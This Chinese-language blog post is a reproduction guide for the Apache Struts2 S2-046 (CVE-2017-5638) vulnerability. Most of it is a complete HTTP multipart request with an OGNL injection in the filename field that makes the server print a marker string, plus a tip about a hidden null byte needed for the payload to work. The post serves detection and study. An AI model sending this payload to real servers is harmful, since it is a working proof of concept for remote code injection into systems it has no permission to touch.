Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

CVE-2017-5638 Apache Struts2 S2-046 简易复现指南

wpadmin~August 9, 2019 /InfoSec

CVE-2017-5638 Apache Struts2 S2-046

正文

整体检测思路:
使用恶意的 Content-Disposition 值, OGNL 表达式在 filename 参数中,OGNL 执行的内容会改变服务端的响应,使 HTTP 响应中出现 dbappsecurity 关键字。
应用漏洞扫描器通过判断响应中是否存在 dbappsecurity 的关键字来判断 OGNL 表达式是否成功执行,进而判断服务端是否存在该漏洞。

注意,这个 payload 直接复制是无法使用的。
因为其中存在一个不可见的字符(\x00),其字节流的十六进制表示为 00 ,位置在 (#o.close())}"] 后面,并且在 b" 前面。
这个点可以考虑使用 winhex 等十六进制编辑器来发现。

S2-046

POST /doUpload.action HTTP/1.1
Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Charsert: UTF-8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.198.133
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 490

------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="pocfile"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(+'dbappsecurity')).(#o.close())}"]  b"
Content-Type: application/octet-stream

This is a test string.
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.